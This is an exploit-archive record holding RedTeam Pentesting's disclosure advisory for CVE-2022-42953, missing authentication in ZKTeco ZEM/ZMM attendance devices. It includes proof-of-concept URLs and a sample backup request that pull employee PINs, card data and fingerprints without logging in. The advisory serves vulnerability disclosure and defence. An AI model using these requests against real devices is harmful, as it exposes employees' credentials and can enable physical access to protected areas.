{"exploit":{"id":"EDB-51112","name":"ZKTeco ZEM/ZMM 8.88 - Missing Authentication","description":"ZKTeco ZEM/ZMM 8.88 - Missing Authentication","cves":["CVE-2022-42953"],"author":"RedTeam Pentesting GmbH","published":"2023-03-28","platform":"jsp","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51112","path":"exploits/jsp/webapps/51112.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51112.txt","vulnerabilities":[{"id":"CVE-2022-42953","state":"PUBLISHED","title":null,"titleSource":null,"description":"Certain ZKTeco products (ZEM500-510-560-760, ZEM600-800, ZEM720, ZMM) allow access to sensitive information via direct requests for the form/DataApp?style=1 and form/DataApp?style=0 URLs. The affected versions may be before 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720) and 15.00 (ZMM200-220-210). The fixed versions are firmware version 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720) and firmware version 15.00 (ZMM200-220-210).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-42953","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-42953"},"updatedAt":"2025-04-15T13:33:43.485Z","retrievedAt":"2026-11-25T20:19:03.140Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51112.png?v=2","url":"https://exploitbin.com/exploits/EDB-51112","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51112/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51112/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: ZKTeco ZEM/ZMM 8.88 - Missing Authentication\n# Exploit Author: RedTeam Pentesting GmbH\n# CVE: CVE-2022-42953\nAdvisory: Missing Authentication in ZKTeco ZEM/ZMM Web Interface\n\nThe ZKTeco time attendance device does not require authentication to use the\nweb interface, exposing the database of employees and their credentials.\n\n\nDetails\n=======\n\nProduct: ZKTeco ZEM500-510-560-760, ZEM600-800, ZEM720, ZMM\nAffected Versions: potentially versions below 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720) and 15.00 (ZMM200-220-210)\nFixed Versions: firmware version 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720), firmware version 15.00 (ZMM200-220-210)\nVulnerability Type: Missing Authentication\nSecurity Risk: medium\nVendor URL: https://zkteco.eu/company/history\nVendor Status: fixed version released\nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-003\nAdvisory Status: published\nCVE: CVE-2022-42953\nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42953\n\n\nIntroduction\n============\n\n\"Time attendance and workforce management is an integrated set of\nprocesses that an institution uses to optimize the productivity of its\nemployees on the individual, departmental, and entity-wide levels.\nZKTeco has been at the forefront of time attendance solutions for the\nlast 30 years, integrating advanced biometric technologies with\ninnovative and versatile terminals.\" (from company website)\n\n\nMore Details\n============\n\n\nThe ZKTeco ZEM/ZMM device allows to store a list of users and their credentials\nwhich may be used to log into the device to prove the users' attendance. These\ncredentials can either be a PIN, a card for a variety of card readers, or a\nfingerprint. The user list can be managed through the web interface.\n\nWhen opening the web interface, for example on http://192.0.2.1/,\nthe web server of the device sends a Set-Cookie header for a cookie with\nname and value similar to the following:\n\n-----------------------------------------------------------------------\nSet-Cookie: SessionID=1624553126; path=/;\n-----------------------------------------------------------------------\n\nIt was determined that the value of the cookie is roughly the number of\nseconds since January 1, 1970. Since the value has a constant offset,\nthat might allow attackers to guess the cookie value. After setting the\ncookie, the webserver redirects the browser to \"/csl/login\". The login\nform provided at this URL has its form action set to \"/csl/check\". If\nthe user provides wrong credentials, the web server responds with an\nerror message. If the user provides correct credentials, the server\nresponds with a frameset.\n\nIn this frameset various options are available, for example a user list.\nThe list contains a link titled \"Options\" for each user item which\nreferences a URL similar to the following\n\nhttp://192.0.2.1/csl/user?did=0&uid=123\n\nAdditionally, backups of all settings of the device can be downloaded\nfrom the backup page. The request to do so looks similar to the\nfollowing:\n-----------------------------------------------------------------------\nPOST /form/DataApp HTTP/1.1\nHost: 192.0.2.1\nUser-Agent: Mozilla/5.0\nCookie: SessionID=1624553126\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 7\nOrigin: http://192.0.2.1\nReferer: http://192.0.2.1/form/Device?act=11\n\nstyle=1\n-----------------------------------------------------------------------\n\nWhen the value \"1\" is given for the field named \"style\", the web server\nresponds with the file \"device.dat\" (corresponding to the option \"Backup\nSystem Data\" in the web interface), for all other values the server\nresponds with the file \"data.dat\" (corresponding to the option \"Backup\nUser Data\" in the web interface). Both files can not only be requested\nusing HTTP-POST, but also using HTTP-GET with the following URLs:\n\nhttp://192.0.2.1/form/DataApp?style=1\nhttp://192.0.2.1/form/DataApp?style=0\n\nBoth files are - even though it's not obvious from the filename -\ncompressed tar archives. They can be extracted in the following way:\n\n-----------------------------------------------------------------------\n$ mv data.dat data.tgz\n$ tar xvzf data.tgz\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/group.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/htimezone.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/lockgroup.dat\nrwxrwxrwx 500/513    10512 2021-06-23 07:23 mnt/mtdblock/ssruser.dat\nrwxr-xr-x root/root 819896 2021-06-18 07:23 mnt/mtdblock/tempinfo.dat\nrwxrwxrwx 500/513    19456 2005-05-05 07:05 mnt/mtdblock/template.dat\nrw-r--r-- root/root 360448 2021-06-18 07:23 mnt/mtdblock/templatev10.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/timezone.dat\nrwxrwxrwx 500/513     1372 2005-05-05 07:25 mnt/mtdblock/user.dat\nrwxr-xr-x root/root    120 1970-01-01 01:08 mnt/mtdblock/data/alarm.dat\nrwxr-xr-x root/root      0 2021-06-23 09:55 mnt/mtdblock/data/extlog.dat\nrwxr-xr-x root/root      0 2013-05-04 01:28 mnt/mtdblock/data/extuser.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/group.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/htimezone.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/lockgroup.dat\nrwxr-xr-x root/root  54800 2021-06-23 09:55 mnt/mtdblock/data/oplog.dat\nrwxr-xr-x root/root  33200 2021-06-23 07:23 mnt/mtdblock/data/sms.dat\nrwxr-xr-x root/root      0 2021-06-23 09:55 mnt/mtdblock/data/ssrattlog.dat\nrwxr-xr-x root/root    660 2018-11-09 17:28 mnt/mtdblock/data/stkey.dat\nrwxrwxrwx 500/513        0 2013-05-04 01:28 mnt/mtdblock/data/template.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/timezone.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/transaction.dat\nrwxr-xr-x root/root    952 2021-06-23 07:24 mnt/mtdblock/data/udata.dat\nrwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/user.dat\nrwxr-xr-x root/root      0 2013-05-04 01:28 mnt/mtdblock/data/wkcd.dat\n-----------------------------------------------------------------------\n\nIn this archive, the file \"mnt/mtdblock/templatev10.dat\" will likely\ncontain fingerprints, and the file \"mnt/mtdblock/ssruser.dat\" contains\nthe user database. The user database contains 72 byte user records, each\ncontaining the privilege level, the PIN, the name of the user, data\nstored on external authentication tokens like cards, and the group of\nthe user.\n\nWhile the cookie value might be guessable, it is not used for\nauthentication purposes. An attacker with knowledge of the\ncorresponding URLs could access the user detail view or the backup\nwithout any authentication.\n\n\nProof of Concept\n================\n\nhttp://192.0.2.1/form/DataApp?style=1\nhttp://192.0.2.1/form/DataApp?style=0\nhttp://192.0.2.1/csl/user?did=0&uid=123\n\n\nWorkaround\n==========\n\nNetwork access to the device should be limited to trustworthy persons.\nThis might be hard to implement if the device is installed in a public\nspace, especially if it is used for access control, too.\n\n\nFix\n===\n\nCurrently, it is not known whether a newer version might fix this issue.\nDue to the age of the product, the vendor might decide not to create a\nfix at all.\n\n\nSecurity Risk\n=============\n\nAttackers with network access to a ZKTeco ZEM/ZMM time attendance device\ncan get access to employee data, including the credentials used for\naccessing the time attendance device. If these credentials are used for\nother purposes than time attendance, such as physical access control,\nattackers might use them to gain access to protected areas. The actual\nrisk estimate varies wildly with the kind of access control system in\nplace and whether network access to the device is prevented by other\nmeans, such as nearby security guards. For this reason, missing\nauthentication to the ZEM/ZMM web interface is estimated to pose a medium\nrisk. This estimate might need to be adjusted to the specific use case\nof the device.\n\n\nTimeline\n========\n\n2021-06-24 Vulnerability identified\n2021-07-12 Customer approved disclosure to vendor\n2021-07-16 Vendor notified\n2021-08-20 Vendor provides fixed firmware\n2022-09-29 Customer approved release of advisory\n2022-10-10 CVE ID requested\n2022-10-15 CVE ID assigned\n2022-10-24 Advisory published\n\n\nReferences\n==========\n\nhttps://zkteco.eu/company/history\n\n\nRedTeam Pentesting GmbH\n=======================\n\nRedTeam Pentesting offers individual penetration tests performed by a\nteam of specialised IT-security experts. Hereby, security weaknesses in\ncompany networks or products are uncovered and can be fixed immediately.\n\nAs there are only few experts in this field, RedTeam Pentesting wants to\nshare its knowledge and enhance the public knowledge with research in\nsecurity-related areas. The results are made available as public\nsecurity advisories.\n\nMore information about RedTeam Pentesting can be found at:\nhttps://www.redteam-pentesting.de/\n\n\nWorking at RedTeam Pentesting\n=============================\n\nRedTeam Pentesting is looking for penetration testers to join our team\nin Aachen, Germany. If you are interested please visit:\nhttps://jobs.redteam-pentesting.de/\n\n\n--\nRedTeam Pentesting GmbH                   Tel.: +49 241 510081-0\nAlter Posthof 1                           Fax : +49 241 510081-99\n52062 Aachen                    https://www.redteam-pentesting.de\nGermany                         Registergericht: Aachen HRB 14004\nGeschäftsführer:                       Patrick Hof, Jens Liebchen","sha256":"ce8ddb845c42535007e341f75db262e5853f192fc22e65ce9b13def4cdb7a325","bytes":9568,"fetchedAt":"2026-11-26T13:08:07.042Z","encoding":"utf-8 (display only; download retains original bytes)"}